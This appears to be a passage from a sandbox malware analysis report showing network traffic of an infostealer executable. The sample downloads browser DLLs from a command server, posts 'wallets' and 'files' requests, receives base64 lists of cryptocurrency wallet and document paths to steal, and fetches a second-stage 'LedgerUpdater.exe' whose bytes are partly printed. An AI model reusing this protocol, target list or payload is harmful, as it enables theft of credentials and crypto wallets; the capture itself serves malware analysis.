1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 20, 2024 07:48:20.961594105 CET	93	OUT	GET /2c3d53f1da5ea53a/msvcp140.dll HTTP/1.1 Host: 62.204.41.163 Cache-Control: no-cache
Nov 20, 2024 07:48:21.183763981 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 20, 2024 07:48:21.534282923 CET	89	OUT	GET /2c3d53f1da5ea53a/nss3.dll HTTP/1.1 Host: 62.204.41.163 Cache-Control: no-cache
Nov 20, 2024 07:48:21.759963036 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 20, 2024 07:48:23.243902922 CET	93	OUT	GET /2c3d53f1da5ea53a/softokn3.dll HTTP/1.1 Host: 62.204.41.163 Cache-Control: no-cache
Nov 20, 2024 07:48:23.466346979 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 20, 2024 07:48:23.687041998 CET	97	OUT	GET /2c3d53f1da5ea53a/vcruntime140.dll HTTP/1.1 Host: 62.204.41.163 Cache-Control: no-cache
Nov 20, 2024 07:48:23.909709930 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 20, 2024 07:48:24.399255037 CET	201	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGH Host: 62.204.41.163 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 07:48:24.817785025 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 07:48:24.902810097 CET	467	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIJKJJKEBGHJKFIDGCA Host: 62.204.41.163 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="message"wallets------CGIJKJJKEBGHJKFIDGCA--
Nov 20, 2024 07:48:25.128777981 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 20, 2024 07:48:25.134141922 CET	465	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJ Host: 62.204.41.163 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="message"files------DGCAAAFCBFBAKFHJDBKJ--
Nov 20, 2024 07:48:25.358809948 CET	306	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 80 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 54 46 38 4a 55 52 46 55 30 74 55 54 31 41 6c 58 48 77 71 4c 6e 52 34 64 48 77 78 4d 48 77 78 66 44 46 38 4d 48 77 78 4d 58 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 52 38 4d 54 42 38 4d 58 77 78 66 44 42 38 Data Ascii: MTF8JURFU0tUT1AlXHwqLnR4dHwxMHwxfDF8MHwxMXwlRE9DVU1FTlRTJVx8Ki50eHR8MTB8MXwxfDB8
Nov 20, 2024 07:48:25.801522017 CET	202	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGCGDGHCBFHIDHDAA Host: 62.204.41.163 Content-Length: 97963 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 07:48:26.326361895 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 07:48:26.363424063 CET	472	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC Host: 62.204.41.163 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"ybncbhylepme------IDGHDGIDAKEBAAKFCGHC--
Nov 20, 2024 07:48:26.604315996 CET	298	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:26 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 72 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 33 4e 69 34 78 4d 54 4d 75 4d 54 45 31 4c 6a 49 78 4e 53 39 4d 5a 57 52 6e 5a 58 4a 56 63 47 52 68 64 47 56 79 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 6e 77 3d Data Ascii: aHR0cDovLzE3Ni4xMTMuMTE1LjIxNS9MZWRnZXJVcGRhdGVyLmV4ZXwwfDB8U3RhcnR8Mnw=
Nov 20, 2024 07:48:27.911329031 CET	472	OUT	POST /16fa04073490929d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIJKJJKEBGHJKFIDGCA Host: 62.204.41.163 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CGIJKJJKEBGHJKFIDGCA--
Nov 20, 2024 07:48:28.153345108 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49761	176.113.115.215	80	7400	C:\Users\user\Desktop\qlI3ReINCV.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:48:26.636117935 CET	83	OUT	GET /LedgerUpdater.exe HTTP/1.1 Host: 176.113.115.215 Cache-Control: no-cache
Nov 20, 2024 07:48:27.338543892 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 01 Nov 2024 13:21:33 GMT ETag: "1aa00-625d9d04b7140" Accept-Ranges: bytes Content-Length: 109056 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 e9 26 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 32 01 00 00 76 00 00 00 00 00 00 9e 51 01 00 00 20 00 00 00 60 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 51 01 00 4f 00 00 00 00 60 01 00 20 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 0c 00 00 00 9c 50 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL&"02vQ `@ `LQO` sP8 H.text1 2 `.rsrc s`t4@@.reloc@BQHd09j> 4(2o:o0,orp $%%ot&o(Jr!ps(Js%oo&( 6(!(0${,}rKps("f3t}}(#~-rp($o%s&~~*~('Vs((t{"}0Gs)
Nov 20, 2024 07:48:27.338604927 CET	1236	IN	Data Raw: 0a 0a 02 28 14 00 00 06 0b 16 0c 2b 19 07 08 9a 0d 06 09 6f 2a 00 00 0a 26 06 1f 20 6f 2b 00 00 0a 26 08 17 58 0c 08 07 8e 69 32 e1 06 06 6f 2c 00 00 0a 17 59 17 6f 2d 00 00 0a 26 06 6f 2e 00 00 0a 2a 52 02 1f 18 8d 3e 00 00 01 7d 06 00 00 04 02 Data Ascii: (+o& o+&Xi2o,Yo-&o.R>}(#*0(Zs}rpsv}{s}s}(\|}{-{oPs/sQ}Os/sQ}(M
Nov 20, 2024 07:48:27.338615894 CET	448	IN	Data Raw: 1f 16 9a 2a 6e 02 7b 0c 00 00 04 6f 14 00 00 06 1f 16 03 a2 02 72 43 02 00 70 28 58 00 00 06 2a 3e 02 7b 0c 00 00 04 6f 14 00 00 06 1f 17 9a 2a 6e 02 7b 0c 00 00 04 6f 14 00 00 06 1f 17 03 a2 02 72 51 02 00 70 28 58 00 00 06 2a 1e 02 7b 0d 00 00 Data Ascii: n{orCp(X>{on{orQp(X{{{ow(-(N{o~(~(%-&~'s0%(s1%o2%o3o40(5B% o6i/*(
Nov 20, 2024 07:48:27.338627100 CET	1236	IN	Data Raw: 06 02 06 1f 16 9a 28 48 00 00 06 02 06 1f 17 9a 28 4a 00 00 06 2a 00 00 1b 30 02 00 39 00 00 00 04 00 00 11 02 7b 0c 00 00 04 6f 2e 00 00 0a 73 6f 00 00 06 0a 73 72 00 00 06 06 6f 71 00 00 06 02 7b 08 00 00 04 28 37 00 00 0a 26 02 7b 09 00 00 04 Data Ascii: (H(J09{o.sosroq{(7&{o&55V(#}}(8(96{o:^{,{o;*0){(<t+\|(+3
Nov 20, 2024 07:48:27.338639975 CET	1236	IN	Data Raw: 00 00 0a 0a de 09 26 7e 62 00 00 0a 0a de 00 06 2a 00 00 00 01 10 00 00 00 00 00 00 12 12 00 09 16 00 00 01 1e 02 28 23 00 00 0a 2a 13 30 02 00 41 00 00 00 0c 00 00 11 20 02 00 00 80 20 00 01 00 00 28 63 00 00 0a 72 05 04 00 70 6f 64 00 00 0a 72 Data Ascii: &~b(#0A (crpodrYpo_o.ryp(e(f,*(#z{{o((0+(,+{(g->rp(h*0"rp(h
Nov 20, 2024 07:48:27.338654041 CET	1236	IN	Data Raw: ca 08 56 11 06 00 7a 0f 76 11 0e 00 4a 08 55 0d 06 00 33 0f 6b 14 0e 00 81 05 56 14 06 00 13 14 58 0b 06 00 ee 0f 01 0d 06 00 a8 00 01 0d 06 00 9c 00 01 0d 0e 00 fe 03 a1 0c 0e 00 b4 0f a1 0c 06 00 71 09 56 11 1a 00 28 12 e3 12 12 00 01 13 e3 12 Data Ascii: VzvJU3kVXqV(8VJh`oUUEXXgVXd"d
Nov 20, 2024 07:48:27.338665962 CET	1236	IN	Data Raw: be 21 00 00 00 00 86 08 2d 11 cb 03 13 00 c8 21 00 00 00 00 c6 00 c8 0b df 00 14 00 1b 22 00 00 00 00 86 18 c8 10 06 00 14 00 30 22 00 00 00 00 86 18 c8 10 06 00 14 00 ce 22 00 00 00 00 86 08 7f 06 d1 03 14 00 d6 22 00 00 00 00 86 08 8d 06 15 00 Data Ascii: !-!"0"""""###>#OM#Yh#w#####
Nov 20, 2024 07:48:27.338676929 CET	1236	IN	Data Raw: 00 00 86 08 7b 03 df 00 46 00 35 2b 00 00 00 00 81 08 84 03 10 00 46 00 40 2b 00 00 00 00 86 18 c8 10 10 00 47 00 78 2b 00 00 00 00 86 00 b4 0b df 00 48 00 cc 2b 00 00 00 00 86 00 51 06 24 04 48 00 16 2c 00 00 00 00 86 18 c8 10 06 00 49 00 2c 2c Data Ascii: {F5+F@+Gx+H+Q$H,I,,<I`,DM,Q,Q,R,R-4R(-GSd-Sl-S-S-~
